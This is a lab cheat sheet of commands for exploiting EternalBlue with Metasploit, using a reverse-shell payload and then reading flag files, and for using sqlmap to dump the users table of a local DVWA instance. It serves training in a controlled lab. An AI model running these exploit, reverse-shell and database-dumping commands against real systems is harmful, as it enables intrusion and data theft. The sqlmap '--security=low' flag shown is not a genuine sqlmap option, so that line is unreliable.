Cybersecurity Lab - Cheat Sheet

1. EternalBlue Exploit using Metasploit

1. Scan the Target using Nmap:

   nmap -p 1-1000 [target IP address]

   nmap --script=vuln [target IP address]

2. Open Metasploit Console:

   msfconsole

3. Search Exploit:

   search ms17_010

4. Use Exploit Module:

   use 0

5. Set Options:

   set RHOSTS [target IP]

   set LHOST [your IP]

   set payload windows/x64/shell/reverse_tcp

6. Run Exploit:

   exploit

7. Background Session:

   Ctrl + Z

   sessions -l

8. Interact with Session:

   sessions -i [ID]

9. Upgrade Shell to Meterpreter:

search shell_to_meterpreter

use 0

set SESSION 1

run

10. Exit Meterpreter:

ctrl + c

11. Set LPORT (if needed):

set LPORT 4545

12. Re-run Handler:

run

13. Meterpreter Commands:

shell

hostname

search -f flag*.txt

cat flag.txt

pwd

cd ..

cd users

cd jon

cat flag3.txt

2. SQL Injection using SQLMap (Kali Linux)

1. Setup Docker:

sudo apt update

sudo apt install -y docker.io

sudo systemctl enable docker --now

Cybersecurity Lab - Cheat Sheet

sudo usermod -aG docker $USER

[Logout and login again]

2. Run DVWA in Docker:

docker run --rm -it -p 80:80 vulnerables/web-dvwa

3. Access DVWA:

URL: 127.0.0.1

Username: admin

Password: password

4. Go to SQL Injection Page:

- Type ID (e.g., 234) in field and click Submit

- Copy request URL

5. Use SQLMap in Terminal:

sqlmap -u "<URL>" --cookie="..." --security=low --batch

6. List Tables:

sqlmap -u "<URL>" --cookie="..." --batch -D dvwa --tables

7. List Columns in Table:

sqlmap -u "<URL>" --cookie="..." -D dvwa -T users --columns --batch

8. Dump Data:

sqlmap -u "<URL>" --cookie="..." -D dvwa -T users --dump --batch